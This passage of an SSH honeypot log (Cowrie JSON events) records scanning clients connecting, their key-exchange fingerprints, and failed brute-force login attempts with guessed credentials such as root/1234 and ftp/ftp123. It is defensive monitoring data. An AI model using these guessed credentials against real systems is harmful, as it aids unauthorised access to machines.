1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:31.098799Z","src_ip":"107.150.105.153","session":"1b9ed7bb9766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hassan","message":"login attempt [root/hassan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:31.404979Z","src_ip":"107.150.105.153","session":"1b9ed7bb9766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:32.487114Z","src_ip":"107.150.105.153","session":"1b9ed7bb9766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":40584,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc5955262848","protocol":"ssh","message":"New connection: 166.62.35.226:40584 (159.203.135.109:22) [session: dc5955262848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:00.255580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:00.259878Z","src_ip":"166.62.35.226","session":"dc5955262848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:00.328372Z","src_ip":"166.62.35.226","session":"dc5955262848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iotex2024","message":"login attempt [root/iotex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:00.530473Z","src_ip":"166.62.35.226","session":"dc5955262848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:01.600250Z","src_ip":"166.62.35.226","session":"dc5955262848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":43240,"dst_ip":"10.17.0.5","dst_port":22,"session":"28edcce2e874","protocol":"ssh","message":"New connection: 43.134.49.202:43240 (10.17.0.5:22) [session: 28edcce2e874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:25.009661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:25.013108Z","src_ip":"43.134.49.202","session":"28edcce2e874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:25.255429Z","src_ip":"43.134.49.202","session":"28edcce2e874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kemerovo","password":"kemerovo","message":"login attempt [kemerovo/kemerovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:26.262534Z","src_ip":"43.134.49.202","session":"28edcce2e874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:27.508911Z","src_ip":"43.134.49.202","session":"28edcce2e874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":53128,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98deead10b0","protocol":"ssh","message":"New connection: 92.118.39.49:53128 (10.17.0.5:22) [session: c98deead10b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:48.168989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:48.374545Z","src_ip":"92.118.39.49","session":"c98deead10b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:48.377857Z","src_ip":"92.118.39.49","session":"c98deead10b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:49.742226Z","src_ip":"92.118.39.49","session":"c98deead10b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:06:51.045700Z","src_ip":"92.118.39.49","session":"c98deead10b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":46954,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb332aeb1aa","protocol":"ssh","message":"New connection: 91.92.40.176:46954 (10.17.0.5:22) [session: dcb332aeb1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:23.234904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:23.238144Z","src_ip":"91.92.40.176","session":"dcb332aeb1aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:23.320245Z","src_ip":"91.92.40.176","session":"dcb332aeb1aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:23.569863Z","src_ip":"91.92.40.176","session":"dcb332aeb1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:24.662777Z","src_ip":"91.92.40.176","session":"dcb332aeb1aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":47562,"dst_ip":"10.17.0.5","dst_port":22,"session":"41be4fb5c4b4","protocol":"ssh","message":"New connection: 38.242.143.220:47562 (10.17.0.5:22) [session: 41be4fb5c4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:32.220416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:32.223925Z","src_ip":"38.242.143.220","session":"41be4fb5c4b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:32.344957Z","src_ip":"38.242.143.220","session":"41be4fb5c4b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qnt123","password":"qnt123","message":"login attempt [qnt123/qnt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:32.651203Z","src_ip":"38.242.143.220","session":"41be4fb5c4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:33.780866Z","src_ip":"38.242.143.220","session":"41be4fb5c4b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":14282,"dst_ip":"159.203.135.109","dst_port":22,"session":"543b38803b4f","protocol":"ssh","message":"New connection: 107.150.105.153:14282 (159.203.135.109:22) [session: 543b38803b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:36.166808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:36.170645Z","src_ip":"107.150.105.153","session":"543b38803b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:36.247756Z","src_ip":"107.150.105.153","session":"543b38803b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc@WSX1qaz","message":"login attempt [root/3edc@WSX1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:36.572989Z","src_ip":"107.150.105.153","session":"543b38803b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:37.653604Z","src_ip":"107.150.105.153","session":"543b38803b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.194.2","src_port":55318,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0bea33b7d9f","protocol":"ssh","message":"New connection: 192.210.194.2:55318 (10.17.0.5:22) [session: b0bea33b7d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.126573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.130533Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.202484Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:c3:5e:6f:87:75:2a:de:c1:f0:f8:97:8f:2e:b8:0f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANl+QrO1fub+AmLrNyIPgLD31Xztq+bOsf1hsT4Z5MbeeD5NZBfVRoMBxPqh4H7OhDAB7RIdiXrWu2IYZmfE+WC5G9evaQgFI9zhJZ5Tye8qRooLri32hFYrqiQJOaxjrnZ0uSBlnJybg+Jlqx4h6qc7nfiblbrCN75FBG+JonERAAAAFQCdNzCiPe4aJKcX1GdfwNteA+hNJQAAAIB13cKpuWnwrP43Hd4uz600q4TcyZtD+7h9ak1qxQYkFGGmxV5+qO3OESw/J9gCmdjqWmATOySTN4Gij3l3nbfGdCKAY4vfSdRuvmhCGWunIctANQmiY+4z7+Z12fL5WEJDioQHWB0b5GPud2pgiPaqg9BPI5qZ84eiLXudTrWiGQAAAIAuWFY0ICaq0KRspZeV6iTDEq7kD/hVbxS+JdFVrDoRt7bnsB0uxrKmlTeFjqr1KZ5VH45KuKq4DDXoAN/rXC28bmrxB6O71FQJmb70bWqpSlE6kIfZoC40rLeUicCGzFkLXmQDUbdoPkOs77A9N81yADJHxBHz+cV4Of9IxU1q3w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e9:c3:5e:6f:87:75:2a:de:c1:f0:f8:97:8f:2e:b8:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.543768Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:c3:5e:6f:87:75:2a:de:c1:f0:f8:97:8f:2e:b8:0f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANl+QrO1fub+AmLrNyIPgLD31Xztq+bOsf1hsT4Z5MbeeD5NZBfVRoMBxPqh4H7OhDAB7RIdiXrWu2IYZmfE+WC5G9evaQgFI9zhJZ5Tye8qRooLri32hFYrqiQJOaxjrnZ0uSBlnJybg+Jlqx4h6qc7nfiblbrCN75FBG+JonERAAAAFQCdNzCiPe4aJKcX1GdfwNteA+hNJQAAAIB13cKpuWnwrP43Hd4uz600q4TcyZtD+7h9ak1qxQYkFGGmxV5+qO3OESw/J9gCmdjqWmATOySTN4Gij3l3nbfGdCKAY4vfSdRuvmhCGWunIctANQmiY+4z7+Z12fL5WEJDioQHWB0b5GPud2pgiPaqg9BPI5qZ84eiLXudTrWiGQAAAIAuWFY0ICaq0KRspZeV6iTDEq7kD/hVbxS+JdFVrDoRt7bnsB0uxrKmlTeFjqr1KZ5VH45KuKq4DDXoAN/rXC28bmrxB6O71FQJmb70bWqpSlE6kIfZoC40rLeUicCGzFkLXmQDUbdoPkOs77A9N81yADJHxBHz+cV4Of9IxU1q3w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.547612Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:5a:5e:60:06:be:0e:a5:66:71:78:56:76:46:fb:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAm8hi53vI5viqtI9Hu2WGAtlFzfmJVj4XW0z7hGoEl8erexaJESl4kqrXWzEYl7T0v98RBAljSHsbqFCXb6w6RseZefYUaVTEKj5rvUpq4NFJnIj5R9Sg9h1Pddf4Lj5IIzUnB9kpL99VTzegD0ty7mwx/eCkFHZNOATR9uAaI9XGTuBZSArqYa0wFf22kd8w5yu1EX2ulCnO/tAoqwViiwidSDZzq+Wa8RkRkYjpXUlRSGWLVq0KGBCgXhiSh9DUJhKXnzPau1ecJEqKPFzwSeEYTGzJaHAzU8PvehwtxBVJH7FV0MUUDamRKS/xDVVeQF+6kKb/P2ce+6pftJWB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:5a:5e:60:06:be:0e:a5:66:71:78:56:76:46:fb:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:07:38.620801Z","src_ip":"192.210.194.2","session":"b0bea33b7d9f","protocol":"ssh"}
